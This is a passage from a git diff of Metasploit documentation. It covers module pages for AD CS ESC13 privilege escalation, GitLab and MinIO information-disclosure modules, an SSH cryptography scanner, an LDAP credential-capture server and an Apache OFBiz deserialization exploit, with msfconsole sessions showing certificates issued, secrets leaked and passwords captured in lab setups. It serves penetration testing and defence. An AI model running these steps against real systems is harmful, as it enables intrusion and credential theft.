CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[*] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * collalabs1-SRV-ADDS01-CA
|
||||
[*] Server: SRV-ADDS01.collalabs1.local
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
@@ -106,5 +106,5 @@ sequenceDiagram
|
||||
- AS-REP Roasting - Some Kerberos accounts may be configured with a `Do not require Kerberos preauthentication` flag. For these accounts a Kerberos TGT will be returned by the KDC without needing to authenticate. These TGTs can be bruteforced to learn the original user's credentials. The [[auxiliary/scanner/kerberos/kerberos_login|pentesting/active-directory/kerberos/kerberos_login.md#asreproasting]] module implements this workflow.
|
||||
- Forging Tickets - After compromising a KDC or service account it is possible to forge tickets for persistence. The [[auxiliary/admin/kerberos/forge_ticket|pentesting/active-directory/kerberos/forge_ticket.md]] module can forge both Golden and Silver tickets.
|
||||
- Inspecting Tickets - Kerberos tickets can be inspected with the [[auxiliary/admin/kerberos/inspect_ticket|pentesting/active-directory/kerberos/inspect_ticket.md]] module. If the encryption key is known, the decrypted contents can be displayed.
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services suh as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services such as WinRM/Microsoft SQL Server/SMB/LDAP/etc
|
||||
- [[Kerberoasting|kerberos/kerberoasting.md]] - Finding services in Active Directory that are associated with normal user accounts which may have brute forcible encryption keys that lead to Active Directory credentials.
|
||||
|
||||
@@ -325,6 +325,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Metasploit-Web-Service.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-Configure-DNS.md'
|
||||
},
|
||||
{
|
||||
title: 'Meterpreter',
|
||||
folder: 'meterpreter',
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -4,7 +4,7 @@ Provided AWS credentials, this module will call the authenticated API of Amazon
|
||||
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
|
||||
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
|
||||
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
|
||||
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
|
||||
identified targets (without requiring target-level credentials) using the CreateSession datastore option. The module also
|
||||
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Information disclosure affecting all versions of GitLab
|
||||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
|
||||
by sending a GET request to the project URI and appending "-/tags"
|
||||
|
||||
### Docker installation instructions can be found here:
|
||||
|
||||
https://docs.gitlab.com/ee/install/docker.html
|
||||
|
||||
Once installed, create a project. Once the project is
|
||||
created, add a new tag by expanding the Code menu item
|
||||
on the left, then selecting Tags. Then click on the
|
||||
New Tag button in the top right corner.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use [module path]`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Do: `run`
|
||||
1. You should receive output with user names and email addresses assocaited with project tags
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETPROJECT
|
||||
|
||||
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
|
||||
like to target, you would need to set that here.
|
||||
|
||||
## Scenarios
|
||||
### Scrape all Workspaces/Projects
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] [2024.02.09-11:18:23] Scraping ALL projects...
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
|
||||
[+] [2024.02.09-11:18:23] name: john doe
|
||||
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
|
||||
[+] [2024.02.09-11:18:23] name: janedoe
|
||||
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Specify Project
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
|
||||
TARGETPROJECT => Workspace1/Project1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
|
||||
[+] [2024.02.09-11:44:43] name: janedoe
|
||||
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with
|
||||
RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns
|
||||
all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,
|
||||
resulting in information disclosure.
|
||||
|
||||
### Docker Image
|
||||
|
||||
1. Download docker yml: https://raw.githubusercontent.com/vulhub/vulhub/master/minio/CVE-2023-28432/docker-compose.yml
|
||||
1. Execute `docker-compose up` inside the same directory containing the docker-compose.yml
|
||||
1. Then MinIO's login page should be available at http://127.0.0.1:9001/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/minio_bootstrap_verify_info_disc.rb`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. You should get MinIO Environmental Variables
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MinIO 2023-02-27T18:10:45Z from docker image
|
||||
|
||||
```
|
||||
resource (msf)> set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
resource (msf)> set rport 9000
|
||||
rport => 9000
|
||||
msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] MINIO_ACCESS_KEY_FILE: access_key
|
||||
[+] MINIO_CONFIG_ENV_FILE: config.env
|
||||
[+] MINIO_KMS_SECRET_KEY_FILE: kms_master_key
|
||||
[+] MINIO_ROOT_PASSWORD: minioadmin-vulhub
|
||||
[+] MINIO_ROOT_PASSWORD_FILE: secret_key
|
||||
[+] MINIO_ROOT_USER: minioadmin
|
||||
[+] MINIO_ROOT_USER_FILE: access_key
|
||||
[+] MINIO_SECRET_KEY_FILE: secret_key
|
||||
[+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,34 +1,260 @@
|
||||
## Description
|
||||
|
||||
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
|
||||
|
||||
This module identifies the version of SSH service in use by the server based on the server's banner. Any SSH server should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level.
|
||||
SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
|
||||
|
||||
This module identifies the version of SSH service in use by the server based on the server's banner.
|
||||
Any SSH server should return this information. It also identifies the varous cryptographic settings
|
||||
and vulnerabilities associated with those.
|
||||
|
||||
This module is tested on several different SSH services, such as:
|
||||
|
||||
- Virtual testing environment: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
- `github.com`: SSH-2.0-babeld-38be96bc
|
||||
- `gitlab.com`: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
|
||||
### Vulnerable Ubuntu 14.04.1
|
||||
|
||||
The following `Dockerfile` can be used to create an Ubuntu 14.04.1 image with SSH running.
|
||||
|
||||
```
|
||||
FROM ubuntu:14.04.1
|
||||
|
||||
RUN apt-get update && apt-get -y install --no-install-recommends openssh-server=1:6.6p1-2ubuntu1 openssh-client=1:6.6p1-2ubuntu1 openssh-sftp-server=1:6.6p1-2ubuntu1
|
||||
RUN mkdir /var/run/sshd
|
||||
EXPOSE 22
|
||||
|
||||
CMD ["/usr/sbin/sshd","-D"]
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/ssh/ssh_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### EXTENDED_CHECKS
|
||||
|
||||
Check for cryptographic issues. Defaults to `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SSH-2.0 on GitHub
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_version
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_version
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com
|
||||
RHOSTS => github.com
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > run
|
||||
|
||||
[+] 140.82.118.4:22 - SSH server version: SSH-2.0-babeld-38be96bc
|
||||
[*] github.com:22 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] 140.82.113.4 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
|
||||
[*] 140.82.113.4 - SSH server version: SSH-2.0-babeld-8405f9f3
|
||||
[*] 140.82.113.4 - Server Information and Encryption
|
||||
=================================
|
||||
|
||||
Type Value Note
|
||||
---- ----- ----
|
||||
encryption.compression none
|
||||
encryption.compression zlib@openssh.com
|
||||
encryption.compression zlib
|
||||
encryption.encryption chacha20-poly1305@openssh.com
|
||||
encryption.encryption aes256-gcm@openssh.com
|
||||
encryption.encryption aes128-gcm@openssh.com
|
||||
encryption.encryption aes256-ctr
|
||||
encryption.encryption aes192-ctr
|
||||
encryption.encryption aes128-ctr
|
||||
encryption.hmac hmac-sha2-512-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-256-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-512
|
||||
encryption.hmac hmac-sha2-256
|
||||
encryption.host_key ssh-ed25519
|
||||
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
|
||||
encryption.host_key rsa-sha2-512
|
||||
encryption.host_key rsa-sha2-256
|
||||
encryption.host_key ssh-rsa
|
||||
encryption.key_exchange curve25519-sha256
|
||||
encryption.key_exchange curve25519-sha256@libssh.org
|
||||
encryption.key_exchange ecdh-sha2-nistp256
|
||||
encryption.key_exchange ecdh-sha2-nistp384
|
||||
encryption.key_exchange ecdh-sha2-nistp521
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha256
|
||||
encryption.key_exchange kex-strict-s-v00@openssh.com
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
```
|
||||
|
||||
### Docker image
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_version
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 172.17.0.2
|
||||
rhosts => 172.17.0.2
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > run
|
||||
|
||||
[*] 172.17.0.2 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG52hWkobwr57akGxiK6eeMN9/M5MH+sQsNPv8Mci049
|
||||
[*] 172.17.0.2 - SSH server version: SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1
|
||||
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group-exchange-sha1 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group1-sha1 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Host Key Encryption ecdsa-sha2-nistp256 uses a weak elliptic curve and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-md5 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-ripemd160 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-sha1-96 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-md5-96 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour256 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour128 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes128-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption 3des-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption blowfish-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption cast128-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes192-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes256-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption rijndael-cbc@lysator.liu.se is deprecated and should not be used.
|
||||
[*] 172.17.0.2 - Server Information and Encryption
|
||||
=================================
|
||||
|
||||
Type Value Note
|
||||
---- ----- ----
|
||||
encryption.compression none
|
||||
encryption.compression zlib@openssh.com
|
||||
encryption.encryption aes128-ctr
|
||||
encryption.encryption aes192-ctr
|
||||
encryption.encryption aes256-ctr
|
||||
encryption.encryption arcfour256 Deprecated
|
||||
encryption.encryption arcfour128 Deprecated
|
||||
encryption.encryption aes128-gcm@openssh.com
|
||||
encryption.encryption aes256-gcm@openssh.com
|
||||
encryption.encryption chacha20-poly1305@openssh.com
|
||||
encryption.encryption aes128-cbc Deprecated
|
||||
encryption.encryption 3des-cbc Deprecated
|
||||
encryption.encryption blowfish-cbc Deprecated
|
||||
encryption.encryption cast128-cbc Deprecated
|
||||
encryption.encryption aes192-cbc Deprecated
|
||||
encryption.encryption aes256-cbc Deprecated
|
||||
encryption.encryption arcfour Deprecated
|
||||
encryption.encryption rijndael-cbc@lysator.liu.se Deprecated
|
||||
encryption.hmac hmac-md5-etm@openssh.com
|
||||
encryption.hmac hmac-sha1-etm@openssh.com
|
||||
encryption.hmac umac-64-etm@openssh.com
|
||||
encryption.hmac umac-128-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-256-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-512-etm@openssh.com
|
||||
encryption.hmac hmac-ripemd160-etm@openssh.com
|
||||
encryption.hmac hmac-sha1-96-etm@openssh.com
|
||||
encryption.hmac hmac-md5-96-etm@openssh.com
|
||||
encryption.hmac hmac-md5 Deprecated
|
||||
encryption.hmac hmac-sha1
|
||||
encryption.hmac umac-64@openssh.com
|
||||
encryption.hmac umac-128@openssh.com
|
||||
encryption.hmac hmac-sha2-256
|
||||
encryption.hmac hmac-sha2-512
|
||||
encryption.hmac hmac-ripemd160 Deprecated
|
||||
encryption.hmac hmac-ripemd160@openssh.com
|
||||
encryption.hmac hmac-sha1-96 Deprecated
|
||||
encryption.hmac hmac-md5-96 Deprecated
|
||||
encryption.host_key ssh-rsa
|
||||
encryption.host_key ssh-dss
|
||||
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
|
||||
encryption.host_key ssh-ed25519
|
||||
encryption.key_exchange curve25519-sha256@libssh.org
|
||||
encryption.key_exchange ecdh-sha2-nistp256
|
||||
encryption.key_exchange ecdh-sha2-nistp384
|
||||
encryption.key_exchange ecdh-sha2-nistp521
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha256
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha1 Deprecated
|
||||
encryption.key_exchange diffie-hellman-group14-sha1
|
||||
encryption.key_exchange diffie-hellman-group1-sha1 Deprecated
|
||||
fingerprint_db ssh.banner
|
||||
openssh.comment Ubuntu-2ubuntu1
|
||||
os.cpe23 cpe:/o:canonical:ubuntu_linux:14.04
|
||||
os.family Linux
|
||||
os.product Linux
|
||||
os.vendor Ubuntu
|
||||
os.version 14.04
|
||||
service.cpe23 cpe:/a:openbsd:openssh:6.6p1
|
||||
service.family OpenSSH
|
||||
service.product OpenSSH
|
||||
service.protocol ssh
|
||||
service.vendor OpenBSD
|
||||
service.version 6.6p1
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [ssh2-enum-algos](https://nmap.org/nsedoc/scripts/ssh2-enum-algos.html) NMAP script.
|
||||
|
||||
```
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 14:55 EST
|
||||
Nmap scan report for 172.17.0.2
|
||||
Host is up (0.000099s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh2-enum-algos:
|
||||
| kex_algorithms: (8)
|
||||
| curve25519-sha256@libssh.org
|
||||
| ecdh-sha2-nistp256
|
||||
| ecdh-sha2-nistp384
|
||||
| ecdh-sha2-nistp521
|
||||
| diffie-hellman-group-exchange-sha256
|
||||
| diffie-hellman-group-exchange-sha1
|
||||
| diffie-hellman-group14-sha1
|
||||
| diffie-hellman-group1-sha1
|
||||
| server_host_key_algorithms: (4)
|
||||
| ssh-rsa
|
||||
| ssh-dss
|
||||
| ecdsa-sha2-nistp256
|
||||
| ssh-ed25519
|
||||
| encryption_algorithms: (16)
|
||||
| aes128-ctr
|
||||
| aes192-ctr
|
||||
| aes256-ctr
|
||||
| arcfour256
|
||||
| arcfour128
|
||||
| aes128-gcm@openssh.com
|
||||
| aes256-gcm@openssh.com
|
||||
| chacha20-poly1305@openssh.com
|
||||
| aes128-cbc
|
||||
| 3des-cbc
|
||||
| blowfish-cbc
|
||||
| cast128-cbc
|
||||
| aes192-cbc
|
||||
| aes256-cbc
|
||||
| arcfour
|
||||
| rijndael-cbc@lysator.liu.se
|
||||
| mac_algorithms: (19)
|
||||
| hmac-md5-etm@openssh.com
|
||||
| hmac-sha1-etm@openssh.com
|
||||
| umac-64-etm@openssh.com
|
||||
| umac-128-etm@openssh.com
|
||||
| hmac-sha2-256-etm@openssh.com
|
||||
| hmac-sha2-512-etm@openssh.com
|
||||
| hmac-ripemd160-etm@openssh.com
|
||||
| hmac-sha1-96-etm@openssh.com
|
||||
| hmac-md5-96-etm@openssh.com
|
||||
| hmac-md5
|
||||
| hmac-sha1
|
||||
| umac-64@openssh.com
|
||||
| umac-128@openssh.com
|
||||
| hmac-sha2-256
|
||||
| hmac-sha2-512
|
||||
| hmac-ripemd160
|
||||
| hmac-ripemd160@openssh.com
|
||||
| hmac-sha1-96
|
||||
| hmac-md5-96
|
||||
| compression_algorithms: (2)
|
||||
| none
|
||||
|_ zlib@openssh.com
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
|
||||
```
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
|
||||
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/server/capture/ldap`
|
||||
3. Do: `run`
|
||||
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
|
||||
5. Check the database using `creds` for the user authentication information.
|
||||
|
||||
## Options
|
||||
|
||||
**Authentication**
|
||||
|
||||
The type of LDAP authentication to capture. The default type is `Simple`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metasploit Server
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/server/capture/ldap
|
||||
msf6 auxiliary(server/capture/ldap) > run
|
||||
|
||||
[*] Server started.
|
||||
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
|
||||
```
|
||||
|
||||
### Client
|
||||
|
||||
```
|
||||
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
|
||||
Enter LDAP Password:
|
||||
ldap_bind: Auth Method Not Supported (7)
|
||||
additional info: Auth Method Not Supported
|
||||
```
|
||||
|
||||
**Database**
|
||||
|
||||
```
|
||||
msf6 auxiliary(server/capture/ldap) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
|
||||
```
|
||||
@@ -4,14 +4,25 @@
|
||||
|
||||
This module exploits a Java deserialization vulnerability in Apache
|
||||
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
|
||||
versions prior to 17.12.04.
|
||||
versions prior to 17.12.01 using the `ROME` gadget chain.
|
||||
|
||||
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
|
||||
